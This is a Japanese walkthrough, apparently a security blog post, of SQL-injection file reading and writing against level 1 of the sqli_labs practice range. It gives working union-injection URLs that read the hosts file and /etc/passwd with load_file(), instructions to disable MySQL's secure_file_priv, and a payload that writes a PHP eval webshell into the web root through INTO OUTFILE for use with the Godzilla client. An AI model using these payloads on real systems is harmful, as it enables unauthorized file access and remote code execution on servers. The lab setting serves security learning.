記事ディレクトリ
SQLインジェクションファイルの読み取りおよび書き込み
この実際の戦闘では、例として sqli_labs 射撃場の最初のレベルを取り上げます。
環境設定の準備
SQLインジェクションの読み書きを再現するには、まずmysqlが以下の条件を満たす必要があります。
1. ファイルの読み取りと書き込みの権限が必要な場合は、現在の mysql ユーザーがFile_priv
Y であることを確認する必要があります。
1. 現在のユーザーを問い合わせる
select user();
結果によると、現在の mysql ユーザーは root で、ホスト名は localhost です。
2.ローカルホスト上の root ユーザーの
File_priv
権限を照会します。select file_priv from mysql.user where user='root' and host='localhost'
2. ファイルの読み取りおよび書き込み用のセキュリティ オプション secure_file_priv を使用して MySQL データベースを閉じます。
mysqlmy.ini
構成ファイル内でこれを見つけて[mysqld]
、 this の下に追加しsecure_file_priv=
、サーバーを再起動します。
ビューのsecure_file_priv=
値
ホストファイルを読み取る
タスク: SQL インジェクションの脆弱性を利用してホスト ファイルを読み取る
1. ユーザーとホストの情報を取得する
http://localhost/sqli_labs/Less-1/?id=-1' union select 1,2,user() --+
ユーザーがroot、ホストがlocalhostであることを取得し、この2つの情報を条件としてファイルの読み書き権限があるか確認します。
2. File_priv 権限を確認します
http://localhost/sqli_labs/Less-1/?id=-1' union select 1,file_priv,3 from mysql.user where user='root' and host='localhost' --+
Y がエコーされ、ファイルに読み取りおよび書き込み権限があることを示します。
3. hosts ファイルを読み取ります。
load_file() 関数を使用する
http://localhost/sqli_labs/Less-1/?id=-1'union select 1,load_file("c:\\windows\\system32\\drivers\\etc\\hosts"),3 --+
読み込みに成功し、hostsファイルの内容が見られたことが分かりました。
4. 注意する
ファイルを読み取るには、mysql のセキュリティ オプションをオフにし、secure_file_priv
現在の mysql ユーザーが File_priv 権限を持っていることに加えて、現在のシステム ユーザーが hosts ファイルにアクセスする権限を持っていることも確認する必要があります。
ターゲットが Linux システムの場合は、/
ルート ディレクトリから対応するファイルを直接読み取ります。
and 1=2 union select 1,load_file("/etc/passwd"),3
Webシェルをアップロードする
SQLインジェクションの脆弱性を利用し、Webシェルをアップロードし、Godzilla(ゴジラ)を使用して接続します。
トロイの木馬ファイルにアクセスしたい場合は、トロイの木馬ファイルを Web サイトのルート ディレクトリに配置する必要があるため、select into outfile ステートメントを使用して、トロイの木馬情報の文を Web サイトのルート ディレクトリにアップロードします。 phpstudyのディレクトリはwwwディレクトリ内にあり、具体的な絶対パスは他の手段で情報を収集する必要があります。
1. トロイの木馬という単語をアップロードする
<?php @eval($_REQUEST[777]);phpinfo()?>
関節注射により、
http://localhost/sqli_labs/Less-1/?id=-1' union select 1,"<?php @eval($_REQUEST[777]);phpinfo()?>",3 into outfile "G:\\SOFT\\netSecurity\\soft\\phpstudy2016\\phstudy2016-zc\\WWW\\2.php" --+